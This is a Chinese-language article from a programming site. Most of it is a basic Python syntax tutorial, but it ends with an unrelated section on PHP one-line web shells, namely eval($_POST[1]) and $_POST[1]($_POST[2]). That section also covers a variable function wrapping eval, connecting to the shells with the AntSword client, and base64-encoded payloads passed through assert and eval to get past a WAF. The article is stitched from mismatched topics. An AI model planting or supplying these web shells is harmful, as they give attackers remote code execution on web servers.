程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

Python知識點以及assert和eval的案例復現

編輯:Python

Python知識點

摘要
本文主要介紹一些平時經常會用到的python基礎知識點,用於加深印象,也算是對於學習這門語言的一個總結與回顧。python的詳細語法介紹可以查看官方編程手冊,也有一些在線網站對python語法進行了比較全面的介紹,比如菜鳥教程:
python3 教程|菜鳥教程
為了方便聚焦知識點,本文涉及的操作實例並不多,想學好一門語言關鍵還得自己多編碼多實踐。
python語言介紹

python是一門解釋型語言,python的設計目標:

①一門簡單直觀的語言並與主要競爭者一樣強大
②開源,以便任何人都可以為它做貢獻
③代碼像純英語那樣容易理解
④適用於短期開發的日常任務

設計哲學是:

優雅
明確
簡單

python的基礎語法

標識符

第一個字符必須是字母表中字母或下劃線 。
標識符的其他的部分由字母、數字和下劃線組成。
標識符對大小寫敏感。

注釋

類型 語法
單行注釋 以 # 開頭,編程規范建議#後面跟一個空格
多行注釋 用一對連續的三個引號,單引號或者雙引號均可("""/’’’)

行與縮進

python與其他語言明顯的區別是沒有大括號,而是用縮進表示代碼塊。
另外,每行語句不需要以分號結束。

多行語句

如果語句很長,可以使用反斜槓()來實現多行語句
說明:在 [], {}, 或 () 中的多行語句不需要使用反斜槓

算術運算符

判斷語法

if else語句

if 和 else用於對條件進行判斷並進行處理,語法如下:

if 要判斷的條件:
條件成立時要做的事情

else:
條件不成立時要做的事情

邏輯運算符

對於同時判斷多個條件的情況可以用邏輯運算符,有如下三種:
符號 說明 語法
and 與,兩個都成立才返回True 條件1 and 條件2
or 或,兩個只要有一個滿足就返回True 條件1 or 條件2
not 非,對條件取反 not 條件
elif 語句

elif語句用於有多個條件進行判斷的場景,語法如下:

if 條件1:
條件1滿足時執行的代碼
elif 條件2:
條件2滿足時執行的代碼
elif 條件3:
條件3滿足時執行的代碼
else:
以上都不滿足時執行的代碼

python數據類型介紹

列表

列表(list)是python中使用最頻繁的數據類型,類似其他語言的數組
列表的符號是中括號[],初始化一個列表語法如下:

program_list = ["c++", "java", "python", "php"]

元組

元組(tuple)與列表類似,區別是元組的數據不能修改,元組的符號是小括號(),初始化一個元組的語法如下:

program_tuple = ("c++", "java", "python", "php")

元組主要用於函數的參數和返回值,格式化字符串,以及保護列表數據,由於元組的數據無法修改,因此提供的方法也比較少:

元組在python中還可以用於交換兩個變量的值:

a = 10
b = 9
a, b = (b, a)

字典

字典(dict)通常用於描述一個物體的相關信息,使用鍵值對存儲數據,鍵必須唯一,由於要使用hash算法,只有不可變類型才能用作鍵,字典的符號是大括號{},初始化一個字典的語法如下:

human_dic = {
"name": "zhangsan",
"age": 26,
"height": 1.75,
"weight": 66}

字典的常用操作函數如下:

字符串

字符串(str)的使用也非常廣泛,可以使用引號('或")來創建字符串,初始化一個字符串的語法如下:

testStr = "Wasting time is robbing oneself"

python對於str提供了很多實用的方法,比較常用的有以下這些:

對字符串進行判斷的方法:

對字符串進行修改(包括格式化,大小寫轉換):

字符串的查找和替換:

運算符

高級數據類型同樣支持以下常見的運算符:

切片

切片使用索引值可以方便地截取容器中一定范圍的數據,適用於列表,元組,字符串。
切片語法如下:
item[N:M:S]
其中N表示要截取的開始位置,M表示結束位置,S表示step也就是步長,默認是1,截取的時候[N:M]是個半閉合區間,等效於數學上[N,M)取值范圍,取N不取M, N和M都可以省略。python中,-1可以表示最後一個元素,字符串利用切片完成翻轉的代碼如下:

>>> test_str = "Hello World"
>>> print(test_str[::-1])

python函數語法

在python中定義一個函數需要使用def關鍵字,相比其他語言,返回值不需要聲明,定義一個函數的語法如下:

def print_hello():
print("Hello, World!")

缺省參數

除了常見的必須參數外,python支持缺省參數,即為參數指定一個默認值,可以不傳入這個參數,代碼例子如下:

def print_human(name, age = 23):
print("body info: name is %s, age is %s" % (name, age) )
print_human("wangwu")
print_human("lisi", 25)

多值參數

如果函數處理的參數的個數不確定,就可以用多值參數:

參數名前面增加一個*可以接收元組
參數名前面增加兩個*可以接收字典

使用了這兩個多值參數的代碼例子如下:

def print_info(*args, **kwargs):
print(args)
print(kwargs)
program_list = ["c++", "java", "python", "php"]
human_dic = {
"name": "zhangsan", "age": 26, "height": 1.75, "weight": 66}
print_info(*program_list, **human_dic)

返回多個值

python中可以利用元組返回多個值,多個返回值的代碼如下:

def measure_rect():
width = 12
height = 6
return width, height
w, h = measure_rect()
print("width is %d, height is %d" % (w, h))

python常用函數

print輸出函數

python使用print函數將信息輸出到控制台,輸出數據時經常會用到格式化操作符,不同的格式化字符串含義如下表:

語法格式如下:

print("格式化字符串" % 變量1)
print("格式化字符串" % (變量1, 變量2...))

print函數默認會自動在內容末尾增加換行,如果不希望換行,可以用end參數指定需要輸出的內容
語法格式如下:

print("Hello word!", end="")

input輸入函數

使用input函數從鍵盤等待用戶的輸入,默認都是一個字符串
語法格式如下:

字符串變量 = input("提示信息:")

類型轉換函數

常見的類型轉換函數如下:

assert和eval的成功與失敗

當我們要去繞過一個wef的時候,我們寫一個不含數字字母的代碼在正常情況下這就顯得太長了,會被檢測出來,所以我們要用去減少長度,這時候就可以用一句話木馬,一句話木馬的原理即可以執行傳遞上來變量的內容,變量名稱即“一句話木馬,例如

<?php
eval($_POST[1]);
?>

我們打開小皮面板後,打開阿帕奇,然後打開中國蟻劍進行連接

接下來我們加入一點代碼:

 <?php
$_POST[1]($_POST[2]);
?>


eval其實並不能算是‘函數’,而是PHP自身的語言結構,如果需要用‘可變’的方式調用,需要自己構造,類似這樣子的:

<?php
function eval_1($str)
{

eval($str);
}
$a='eval_1';
$a('phpinfo()');
?>

接下來我將編碼方式改成了base64發現也可以成功連接

最後總結:
這是因為我們的eval函數中參數是字符,assert函數中參數為表達式 (或者為函數),比如

assert(eval(‘echo 1;’));//類似這樣
1=assert
2=eval(base64_decode())
$_POST['1']($_POST[2])
assert(eval(base64_decode))

我們多了一個eval函數,實質上我們是在執行assert(eval()),所以是可以執行的。
assert(‘adsadasdsadasdasdsa’) 裡面只有字符串
assert(eval(base64dddddd)); 裡面有eval函數

eval函數中參數是字符,如:
eval('echo 1;');
assert函數中參數為表達式 (或者為函數),如:
assert(phpinfo())

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved